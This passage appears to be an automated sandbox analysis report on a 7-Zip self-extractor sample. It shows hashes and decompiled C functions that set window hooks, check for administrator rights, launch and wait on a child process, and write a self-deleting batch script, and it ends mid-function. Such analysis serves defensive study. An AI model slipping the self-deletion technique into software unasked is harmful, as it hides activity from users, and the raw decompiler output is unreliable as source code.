0x0041aaf9
0x0041aafc
0x0041aafe
0x0041aafe
0x0041ab05
0x00000000
0x0041aa98
0x0041aa98
0x0041aa9e
0x0041aaa6
0x0041aaa8
0x0041aaa8
0x0041aaaa
0x0041aaac
0x0041aaac
0x0041aaaf
0x0041aab4
0x00000000
0x00000000
0x0041aab6
0x0041aab9
0x0041aabc
0x00000000
0x00000000
0x00000000
0x0041aabc
0x0041aaac
0x0041aabe
0x0041aabe
0x0041aac1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aac7
0x0041aaca
0x0041aad5
0x0041aade
0x0041aadf
0x0041aae3
0x0041aae6
0x0041aae9
0x0041aae9
0x00000000
0x0041aa98
0x00000000
0x00000000
0x0041ac0d
0x00000000
0x00000000
0x0041ac12
0x00000000
0x00000000
0x0041ac17
0x00000000
0x00000000
0x0041ab20
0x0041ab27
0x0041ab29
0x0041ab2c
0x0041ab2f
0x0041ab37
0x0041ab3c
0x0041ab3f
0x0041ab43
0x0041ab48
0x0041ab4b
0x0041ab4e
0x0041ab50
0x0041ab53
0x0041ab53
0x0041ab56
0x0041ab59
0x0041ab5c
0x0041ab5f
0x0041ab62
0x0041ab65
0x0041ab67
0x0041ab69
0x0041ab71
0x0041ab71
0x0041ab74
0x0041ab77
0x0041ab7a
0x0041ab7e
0x0041ab7e
0x0041ab53
0x0041ab83
0x0041ab86
0x0041ab8b
0x0041ab8e
0x0041ab93
0x00000000
0x00000000
0x00000000
0x00000000
0x0041abf3
0x0041abf9
0x0041abfc
0x0041ac03
0x0041ab0a
0x0041ab16
0x00000000
0x00000000
0x0041ac1f
0x0041ac22
0x0041ac25
0x0041ac27
0x0041ac2e
0x0041ac2e
0x0041ac31
0x0041ac36
0x0041ac38
0x0041ac3a
0x0041ac3a
0x0041ac3e
0x0041ac42
0x0041ac45
0x0041ac29
0x0041ac29
0x0041ac2c
0x00000000
0x0041ac2e
0x0041ac2e
0x00000000
0x00000000
0x0041ac4a
0x00000000
0x00000000
0x00000000
0x0041ac4c
0x0041ac4c
0x0041ac4f
0x0041ac4f
0x0041ac54
0x0041ac2c
0x0041ac27
0x0041ac66
0x0041ac6c
0x0041ac6c
0x0041ac6f
0x00000000
0x0041ac75
0x0041ac78
0x00000000
0x0041ac78
0x00000000
0x00000000
0x0041aa3d
0x0041aa21
0x0041aa21
0x0041aa28
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aa28
0x0041aa1f
0x0041a9f3
0x0041a9f3
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9f6
0x0041a9f1
0x00000000
0x0041a9eb
0x0041ac96
0x0041aca1
0x0041aca4
0x0041aca6
0x0041aca6
0x0041acab
0x0041acae
0x0041acb0
0x0041acb2
0x0041acb5
0x0041acb8
0x0041acba
0x0041acba
0x0041acbe
0x0041acc0
0x0041acc0
0x0041acc0
0x0041acc0
0x0041acc3
0x0041acc4
0x0041acc4
0x0041acba
0x0041acc9
0x0041accc
0x0041accf
0x0041acd8
0x0041acd8
0x0041acda
0x0041acdd
0x0041ace0
0x0041ace3
0x0041ace6
0x0041ace9
0x0041acef
0x0041acf3
0x0041acf8
0x0041acfb
0x0041acfe
0x0041ad00
0x0041ad33
0x0041ad36
0x0041ad39
0x0041ad3f
0x0041ad42
0x0041ad44
0x0041ad44
0x0041ad45
0x0041ad48
0x0041ad4b
0x0041ad4d
0x0041ad50
0x0041ad02
0x0041ad02
0x0041ad05
0x0041ad08
0x0041ad0e
0x0041ad18
0x0041ad1b
0x0041ad20
0x0041ad23
0x0041ad25
0x0041ad2d
0x0041ad2d
0x0041ad30
0x0041ad30
0x0041ad53
0x0041ad57
0x0041ad62
0x0041ad62
0x0041ad67
0x0041ad6d
0x0041ad71
0x0041ad71
0x0041ace3
0x0041ad7a
0x0041ad7d
0x0041ad82
0x0041ad85
0x0041ad8a
0x0041ad8d
0x0041ad92
0x0041ad92
0x00000000
0x0041a94c
0x0041a884
0x0041a884
0x0041a886
0x00000000
0x0041a888
0x0041a888
0x0041a88e
0x0041a891
0x0041a897
0x0041a8ad
0x0041a8b2
0x0041a8b7
0x0041a8cf
0x0041a8d7
0x0041a8dd
0x0041a8e2
0x0041a8e2
0x00000000
0x0041a8b9
0x0041a8bc
0x0041a8c1
0x0041adc1
0x0041adc8
0x0041adc8
0x0041a8b7
0x0041a886
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a6926a2a1545e1076c32de7eff06156fa885bf53ffc5999b522f7fa9f556010
Instruction ID: 4dad77f0705915c109804cafeeec3e4362490793768c25b28525cfb381627a1a
Opcode Fuzzy Hash: 2a6926a2a1545e1076c32de7eff06156fa885bf53ffc5999b522f7fa9f556010
Instruction Fuzzy Hash: 25124771901248DFCB25DF69C980AED7BF6BF44304F14846EF81587262DB38E895CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00408D9C, Relevance: 7.5, APIs: 5, Instructions: 47
threadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00408D9C(void* __ecx, void* __edx) {
				char _v16;
				short _v528;
				void* _t23;
				WCHAR* _t42;
				void* _t50;
				void* _t51;
				long _t63;

				_t38 = __ecx;
				_t50 = __ecx;
				 *((intOrPtr*)(__ecx + 0x48)) =  *((intOrPtr*)(__ecx + 0x48)) - 1;
				_t63 =  *0x4228b8; // 0x0
				if(_t63 == 0) {
					__eax = GetCurrentThreadId();
					 *0x4228b8 = __eax;
				}
				__eflags =  *0x4228bc; // 0x0
				if(__eflags == 0) {
					 *0x4228bc = SetWindowsHookExW(2, E00408D6E, 0, GetCurrentThreadId());
				}
				__eflags =  *(_t50 + 0x48);
				if( *(_t50 + 0x48) != 0) {
					_t38 = _t50;
					_pop(_t50);
					_pop(0);
					_push(0);
					_push(_t50);
					_t51 = _t38;
					E00414839( &_v16, _t51 + 0x3c);
					if( *((intOrPtr*)(_t51 + 0x48)) > 0) {
						_t42 = 0x1d;
						wsprintfW( &_v528, L" (%d%s)",  *((intOrPtr*)(_t51 + 0x48)), E00403CE0(_t42));
						E00414922( &_v16,  &_v528);
					}
					_t23 = E0040790B(GetDlgItem( *(_t51 + 4),  *(_t51 + 0x4c)), _v16);
					_push(_v16);
					L0041C160();
					return _t23;
				} else {
					 *0x4228c0 = 1;
					__eflags =  *((intOrPtr*)(_t50 + 0x4c)) - 0x4b4;
					_t17 =  *((intOrPtr*)(_t50 + 0x4c)) != 0x4b4;
					__eflags = _t17;
					return EndDialog( *(_t50 + 4), 0 | _t17);
				}
			}

0x00408d9c
0x00408da5
0x00408da7
0x00408db3
0x00408db9
0x00408dbb
0x00408dc8
0x00408dc8
0x00408dcd
0x00408dd3
0x00408de2
0x00408de2
0x00408de7
0x00408dea
0x00408e12
0x00408e14
0x00408e15
0x00408345
0x0040834e
0x0040834f
0x00408358
0x00408361
0x00408365
0x0040837b
0x0040838e
0x0040838e
0x004083a6
0x004083ab
0x004083ae
0x004083b6
0x00408dec
0x00408dee
0x00408df8
0x00408dff
0x00408dff
0x00408e10
0x00408e10

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DBB
SetWindowsHookExW.USER32(00000007,Function_00008CE2,00000000,00000000), ref: 00408DC6
GetCurrentThreadId.KERNEL32 ref: 00408DD5
SetWindowsHookExW.USER32(00000002,Function_00008D6E,00000000,00000000), ref: 00408DE0
EndDialog.USER32(?,00000000), ref: 00408E06

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 555e22be0927065058935bc2a06d0ed766fc6dfd7081a73748e4d77ef7fe2c80
Instruction ID: 0a2569f36482c6f38668c5daa31400cb5052fc60ef6564e58e43505ef2e78625
Opcode Fuzzy Hash: 555e22be0927065058935bc2a06d0ed766fc6dfd7081a73748e4d77ef7fe2c80
Instruction Fuzzy Hash: AB0186B1700218AFD3207B66EE44A76F7ECEB54355B51413FE245D11E0CBB698419B68

Uniqueness

Uniqueness Score: -1.00%

Function 00403F0A, Relevance: 4.5, APIs: 3, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00403F0A() {
				void* _v8;
				char _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				int _t13;

				_v12 = 0;
				_v8 = 0;
				_v20.Value = 0;
				_v16 = 0x500;
				_t13 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v8);
				if(_t13 != 0) {
					__imp__CheckTokenMembership(0, _v8,  &_v12);
					FreeSid(_v8);
					return _v12;
				}
				return _t13;
			}

0x00403f2a
0x00403f2d
0x00403f30
0x00403f33
0x00403f39
0x00403f41
0x00403f4b
0x00403f54
0x00000000
0x00403f5a
0x00403f5f

APIs

AllocateAndInitializeSid.ADVAPI32(00406727,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,004227B8,00406727), ref: 00403F39
CheckTokenMembership.ADVAPI32(00000000,00000000,?), ref: 00403F4B
FreeSid.ADVAPI32(00000000), ref: 00403F54

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 9af3efcf16d1d355448efefa57cf4683c3fc5815afa2ad2ad1a3db22a18f9f3b
Instruction ID: 3f24cb71bbfe7ca770cd4889a07e58a9e46d275895eb10eec906826fdd799b13
Opcode Fuzzy Hash: 9af3efcf16d1d355448efefa57cf4683c3fc5815afa2ad2ad1a3db22a18f9f3b
Instruction Fuzzy Hash: 82F0DAB5D00208FBDB00DFD5DD89ADEBBBCFB08345F504465A605E2191D3709B049B19

Uniqueness

Uniqueness Score: -1.00%

Function 00401D63, Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 196
threadprocesssynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00401D63(void* __ecx, void* __edx, void* __eflags) {
				void* _t58;
				void* _t83;
				void* _t88;
				int _t100;
				void* _t131;
				void* _t138;
				void* _t139;
				long _t140;
				intOrPtr* _t142;
				void* _t144;
				void* _t148;

				_t148 = __eflags;
				_t142 = _t144 - 0x74;
				_t131 = __ecx;
				_t138 = __edx;
				E004147DF(E004147DF(_t58, _t142 + 0x30), _t142 + 0x3c);
				E00403022(GetCommandLineW(), _t142 + 0x30);
				E004146E1(_t142 + 0xc, _t148, E00414787(_t142, E00414787(_t142 - 0xc, E004147B1(_t142 - 0x18, "\"", _t142 + 0x30), L"\" -"), L"sfxwaitall"), 0x3a);
				E004146E1(_t142 + 0x24, _t148, _t142 + 0xc,  *(_t142 + 0x7c) + 0x30);
				E004146E1(_t142 + 0x18, _t148, _t142 + 0x24, 0x20);
				E004146E1(_t142 + 0x5c, _t148, _t142 + 0x18, 0x22);
				E00414864(_t142 + 0x3c,  *((intOrPtr*)(E00414787(_t142 - 0x24, E00414787(_t142 - 0x30, E00414787(_t142 - 0x3c, _t142 + 0x5c, _t131), L"\" "), _t138))));
				_push( *((intOrPtr*)(_t142 - 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x30)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x3c)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x5c)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0xc)));
				L0041C160();
				_push( *_t142);
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0xc)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x18)));
				L0041C160();
				 *(_t142 - 0x80) = 0x44;
				GetStartupInfoW(_t142 - 0x80);
				_t83 = CreateProcessW(0,  *(_t142 + 0x3c), 0, 0, 1, 0x1000004, 0,  *0x42289c, _t142 - 0x80, _t142 + 0x48);
				if(_t83 != 0) {
					_t139 = 0;
					__imp__CreateJobObjectW(0, 0);
					 *(_t142 + 0x7c) = _t83;
					__eflags = _t83;
					if(_t83 == 0) {
						L9:
						ResumeThread( *(_t142 + 0x4c));
						WaitForSingleObject( *(_t142 + 0x48), 0xffffffff);
						L10:
						CloseHandle( *(_t142 + 0x4c));
						_t88 = GetExitCodeProcess( *(_t142 + 0x48), _t142 + 0x6c);
						__eflags = _t88;
						if(_t88 == 0) {
							 *(_t142 + 0x6c) = GetLastError();
						}
						CloseHandle( *(_t142 + 0x48));
						__eflags = _t139;
						if(_t139 != 0) {
							CloseHandle(_t139);
						}
						__eflags =  *(_t142 + 0x7c);
						if( *(_t142 + 0x7c) != 0) {
							CloseHandle( *(_t142 + 0x7c));
						}
						_t140 =  *(_t142 + 0x6c);
						L2:
						_push( *(_t142 + 0x3c));
						L0041C160();
						_push( *((intOrPtr*)(_t142 + 0x30)));
						L0041C160();
						return _t140;
					}
					__imp__AssignProcessToJobObject(_t83,  *(_t142 + 0x48));
					__eflags = _t83;
					if(_t83 == 0) {
						goto L9;
					}
					_t139 = CreateIoCompletionPort(0xffffffff, 0, 1, 0);
					__eflags = _t139;
					if(_t139 == 0) {
						goto L9;
					}
					 *((intOrPtr*)(_t142 + 0x60)) = 1;
					 *(_t142 + 0x64) = _t139;
					__imp__SetInformationJobObject( *(_t142 + 0x7c), 7, _t142 + 0x60, 8);
					ResumeThread( *(_t142 + 0x4c));
					while(1) {
						_t100 = GetQueuedCompletionStatus(_t139, _t142 + 0x70, _t142 + 0x68, _t142 + 0x58, 0xffffffff);
						__eflags = _t100;
						if(_t100 == 0) {
							goto L9;
						}
						__eflags =  *(_t142 + 0x70) - 4;
						if( *(_t142 + 0x70) == 4) {
							goto L10;
						}
					}
					goto L9;
				}
				_t140 = GetLastError();
				goto L2;
			}

0x00401d63
0x00401d64
0x00401d71
0x00401d76
0x00401d80
0x00401d90
0x00401dca
0x00401ddd
0x00401deb
0x00401df9
0x00401e29
0x00401e2e
0x00401e31
0x00401e36
0x00401e39
0x00401e3e
0x00401e41
0x00401e46
0x00401e49
0x00401e4e
0x00401e51
0x00401e56
0x00401e59
0x00401e5e
0x00401e61
0x00401e66
0x00401e69
0x00401e6e
0x00401e71
0x00401e76
0x00401e79
0x00401e85
0x00401e8c
0x00401eb2
0x00401eba
0x00401ee4
0x00401ee6
0x00401eec
0x00401eef
0x00401ef1
0x00401f55
0x00401f58
0x00401f63
0x00401f69
0x00401f72
0x00401f7b
0x00401f81
0x00401f83
0x00401f8b
0x00401f8b
0x00401f91
0x00401f93
0x00401f95
0x00401f98
0x00401f98
0x00401f9a
0x00401f9d
0x00401fa2
0x00401fa2
0x00401fa4
0x00401ec4
0x00401ec4
0x00401ec7
0x00401ecc
0x00401ecf
0x00401edf
0x00401edf
0x00401ef7
0x00401efd
0x00401eff
0x00000000
0x00000000
0x00401f0c
0x00401f0e
0x00401f10
0x00000000
0x00000000
0x00401f1d
0x00401f20
0x00401f23
0x00401f2c
0x00401f40
0x00401f4f
0x00401f51
0x00401f53
0x00000000
0x00000000
0x00401f3a
0x00401f3e
0x00000000
0x00000000
0x00401f3e
0x00000000
0x00401f40
0x00401ec2
0x00000000

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

GetCommandLineW.KERNEL32(0041D9F0,00000000,00000000), ref: 00401D85

Part of subcall function 004146E1: memcpy.MSVCRT ref: 00414706

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

??3@YAXPAX@Z.MSVCRT ref: 00401E31
??3@YAXPAX@Z.MSVCRT ref: 00401E39
??3@YAXPAX@Z.MSVCRT ref: 00401E41
??3@YAXPAX@Z.MSVCRT ref: 00401E49
??3@YAXPAX@Z.MSVCRT ref: 00401E51
??3@YAXPAX@Z.MSVCRT ref: 00401E59
??3@YAXPAX@Z.MSVCRT ref: 00401E61
??3@YAXPAX@Z.MSVCRT ref: 00401E69
??3@YAXPAX@Z.MSVCRT ref: 00401E71
??3@YAXPAX@Z.MSVCRT ref: 00401E79
GetStartupInfoW.KERNEL32(?,00000022,?,00000020,?,?,00000000,0000003A,?," -,sfxwaitall), ref: 00401E8C
CreateProcessW.KERNEL32 ref: 00401EB2
GetLastError.KERNEL32 ref: 00401EBC
??3@YAXPAX@Z.MSVCRT ref: 00401EC7
??3@YAXPAX@Z.MSVCRT ref: 00401ECF
CreateJobObjectW.KERNEL32 ref: 00401EE6
AssignProcessToJobObject.KERNEL32 ref: 00401EF7
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000), ref: 00401F06
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 00401F23
ResumeThread.KERNEL32(?), ref: 00401F2C
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF), ref: 00401F4F
ResumeThread.KERNEL32(?), ref: 00401F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401F63
CloseHandle.KERNEL32(?), ref: 00401F72
GetExitCodeProcess.KERNEL32 ref: 00401F7B
GetLastError.KERNEL32 ref: 00401F85
CloseHandle.KERNEL32(?), ref: 00401F91
CloseHandle.KERNEL32(00000000), ref: 00401F98
CloseHandle.KERNEL32(?), ref: 00401FA2

Strings

sfxwaitall, xrefs: 00401D95
" -, xrefs: 00401D9A

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$??2@CompletionErrorLastResumeThreadmemcpy$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 1989023053-3991362806
Opcode ID: 03f2516181052f227ff0f804cd5943db3b31b4a938699f5d65c9949540d152f7
Instruction ID: b35bb808f7c11860acb9b83f91dbbd997240e1bc6af43985ebd9c44236cdfafe
Opcode Fuzzy Hash: 03f2516181052f227ff0f804cd5943db3b31b4a938699f5d65c9949540d152f7
Instruction Fuzzy Hash: 03619972540108BFCF15AF61DC85DEE3BB9AF04308B10813AF926A21B1DB389D51CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00405AA6, Relevance: 38.6, APIs: 14, Strings: 8, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405AA6(void* __esi, WCHAR* _a4) {
				long _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				long _v24;
				char _v28;
				WCHAR* _v40;
				char _v52;
				void* _t42;
				short _t44;
				short _t45;
				int _t66;
				void* _t72;
				signed int _t74;
				void* _t99;

				_t99 = __esi;
				_t42 = _a4;
				if( *((short*)(_t42 + 2)) != 0x3a) {
					L11:
					_push(_t42);
					goto L12;
				} else {
					_t3 = _t42 + 4; // 0x1519c
					_t74 =  *_t3 & 0x0000ffff;
					if(_t74 == 0x5c || _t74 == 0x2f) {
						_v16 =  *_t42;
						_t44 = 0x3a;
						_v14 = _t44;
						_t45 = 0x5c;
						_v12 = _t45;
						_v10 = 0;
						_t42 = GetDriveTypeW( &_v16);
						if(_t42 == 3) {
							E004042B5(L"7ZSfx%03x.cmd", __eflags);
							_t42 = CreateFileW(_v40, 0x40000000, 0, 0, 2, 0x80, 0);
							_t72 = _t42;
							__eflags = _t72 - 0xffffffff;
							if(_t72 == 0xffffffff) {
								L9:
								_push(_v40);
								L0041C160();
								_push(_a4);
								L0041C160();
								goto L13;
							} else {
								_push(_t99);
								E004147DF(_t42,  &_v28);
								E00414864( &_v28, L":Repeat\r\n");
								E00414922( &_v28, L"del \"");
								E00414962( &_v28, __eflags,  &_a4);
								E00414922( &_v28, L"\"\r\n");
								E00414922( &_v28, L"if exist \"");
								E00414962( &_v28, __eflags,  &_a4);
								E00414922( &_v28, L"\" goto Repeat\r\n");
								E00414922( &_v28, L"del \"");
								E00414962( &_v28, __eflags,  &_v40);
								E00414922( &_v28, L"\"\r\n");
								_t66 = WriteFile(_t72,  *(E0040438B( &_v52,  &_v28, __eflags, 1)), _v24,  &_v8, 0);
								_push(_v52);
								L0041C160();
								CloseHandle(_t72);
								__eflags = _t66;
								if(_t66 == 0) {
									L10:
									_t42 = E00403442(_v40);
									_push(_v28);
									L0041C160();
									_push(_v40);
									L0041C160();
									_push(_a4);
									L0041C160();
								} else {
									__eflags = _v8 - _v24;
									if(_v8 != _v24) {
										goto L10;
									} else {
										SetFileAttributesW(_a4, 0);
										_t42 = ShellExecuteW(0, L"open", _v40, 0, 0, 0);
										_push(_v28);
										L0041C160();
										goto L9;
									}
								}
							}
						} else {
							_push(_a4);
							L12:
							L0041C160();
							L13:
						}
					} else {
						goto L11;
					}
				}
				return _t42;
			}

0x00405aa6
0x00405aa9
0x00405ab6
0x00405c52
0x00405c52
0x00000000
0x00405abc
0x00405abc
0x00405abc
0x00405ac3
0x00405ad3
0x00405ad7
0x00405ad8
0x00405ade
0x00405adf
0x00405ae5
0x00405aed
0x00405af6
0x00405b08
0x00405b21
0x00405b27
0x00405b29
0x00405b2c
0x00405c1a
0x00405c1a
0x00405c1d
0x00405c22
0x00405c25
0x00000000
0x00405b32
0x00405b32
0x00405b36
0x00405b43
0x00405b51
0x00405b5d
0x00405b6b
0x00405b78
0x00405b84
0x00405b91
0x00405b9a
0x00405ba6
0x00405baf
0x00405bd0
0x00405bd6
0x00405bdb
0x00405be2
0x00405be8
0x00405beb
0x00405c2d
0x00405c30
0x00405c35
0x00405c38
0x00405c3d
0x00405c40
0x00405c45
0x00405c48
0x00405bed
0x00405bf0
0x00405bf3
0x00000000
0x00405bf5
0x00405bf9
0x00405c0b
0x00405c11
0x00405c14
0x00000000
0x00405c19
0x00405bf3
0x00405beb
0x00405af8
0x00405af8
0x00405c53
0x00405c53
0x00405c58
0x00405c58
0x00000000
0x00000000
0x00000000
0x00405ac3
0x00405c5c

APIs

GetDriveTypeW.KERNEL32(?,PreExtract,00000000,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract), ref: 00405AED

Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
Part of subcall function 004042B5: wsprintfW.USER32 ref: 00404318
Part of subcall function 004042B5: GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405B21
WriteFile.KERNEL32(00000000,?,?,00422844,00000000,00000001,",?,del "," goto Repeat,00406FBC,if exist ",",00406FBC,del ",:Repeat), ref: 00405BD0
??3@YAXPAX@Z.MSVCRT ref: 00405BDB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract,0042289C,00000000), ref: 00405BE2
SetFileAttributesW.KERNEL32(00406FBC,00000000,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract,0042289C,00000000), ref: 00405BF9
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00405C0B
??3@YAXPAX@Z.MSVCRT ref: 00405C14
??3@YAXPAX@Z.MSVCRT ref: 00405C1D
??3@YAXPAX@Z.MSVCRT ref: 00405C25

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414962: memcpy.MSVCRT ref: 00414985

Part of subcall function 0040438B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00000000,00422090,009D2588,00401669,0000FDE9,009D2588), ref: 004043BE

??3@YAXPAX@Z.MSVCRT ref: 00405C38
??3@YAXPAX@Z.MSVCRT ref: 00405C40
??3@YAXPAX@Z.MSVCRT ref: 00405C48
??3@YAXPAX@Z.MSVCRT ref: 00405C53

Strings

7ZSfx%03x.cmd, xrefs: 00405B00
PreExtract, xrefs: 00405AB5
open, xrefs: 00405C05
if exist ", xrefs: 00405B70
", xrefs: 00405B62, 00405B67, 00405BAB
del ", xrefs: 00405B48, 00405B4D, 00405B96
:Repeat, xrefs: 00405B3B
" goto Repeat, xrefs: 00405B89

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$File$memcpy$??2@AttributesPathTemp$ByteCharCloseCreateDriveExecuteHandleMultiShellTypeWideWritewsprintf
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$PreExtract$del "$if exist "$open
API String ID: 1368565367-2062918900
Opcode ID: bd07ac5b5cf9db83162ad976ab6679d1d101fe38afbba23574025e75f50d8382
Instruction ID: 3d7160049abe49b234d8e21697658e41e6c45daee110ef6cf63ccbde248cf787
Opcode Fuzzy Hash: bd07ac5b5cf9db83162ad976ab6679d1d101fe38afbba23574025e75f50d8382
Instruction Fuzzy Hash: B8416075940108BADB05EBA1DC86DEF7B78EF85704F10406AF602B60E1DB786E85CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00408E57, Relevance: 36.3, APIs: 24, Instructions: 265
windowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00408E57(void* __edx) {
				struct HWND__* _v4;
				struct HWND__* _v8;
				void* __ecx;
				signed int _t45;
				signed int _t51;
				long _t53;
				signed int _t67;
				void* _t71;
				void* _t75;
				long _t91;
				int _t95;
				int _t96;
				struct HWND__* _t102;
				struct HWND__* _t103;
				struct HWND__* _t104;
				long _t107;
				intOrPtr* _t108;
				void* _t111;
				void* _t113;
				void* _t126;
				void* _t129;
				void* _t133;
				void* _t135;
				intOrPtr* _t140;
				void* _t143;
				long _t147;

				_t135 = __edx;
				_t140 = _t108;
				 *0x422784 = 0;
				if(( *0x42245c & 0x00000200) == 0) {
					_v8 = LoadIconW(GetModuleHandleW(0), 0x65);
					_t95 = GetSystemMetrics(0x32);
					_t96 = GetSystemMetrics(0x31);
					_t107 = LoadImageW(GetModuleHandleW(0), 0x65, 1, _t96, _t95, 0);
					if(_t107 == 0) {
						_t107 = _v8;
					}
					SendMessageW( *(_t140 + 4), 0x80, 1, _v8);
					SendMessageW( *(_t140 + 4), 0x80, 0, _t107);
				}
				if(( *0x42245c & 0x00004000) != 0) {
					_v8 = GetDlgItem( *(_t140 + 4), 0x4b2);
					_v4 = GetDlgItem( *(_t140 + 4), 0x4b2);
					SetWindowLongW(_v4, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) | 0x00000080);
					_v4 = GetDlgItem( *(_t140 + 4), 0x4b5);
					_v8 = GetDlgItem( *(_t140 + 4), 0x4b5);
					_t91 = GetWindowLongW(_v4, 0xfffffff0) | 0x00000080;
					_t147 = _t91;
					SetWindowLongW(_v8, 0xfffffff0, _t91);
				}
				E0040790B(GetDlgItem( *(_t140 + 4), 0x4b2),  *((intOrPtr*)(_t140 + 0x10)));
				E00407F52(_t140, _t147,  *((intOrPtr*)(_t140 + 0xc)));
				_t45 =  *(_t140 + 8) & 0x00000003;
				if(_t45 == 0) {
					_t111 = 0x1b;
					E00408530(_t140, 0x4b3, E00403CE0(_t111));
					_push(0x1c);
					goto L14;
				} else {
					_t71 = _t45 - 1;
					if(_t71 == 0) {
						_t126 = 0x19;
						E00408530(_t140, 0x4b3, E00403CE0(_t126));
						E004079B7(_t140, 0x4b4, 0);
						L15:
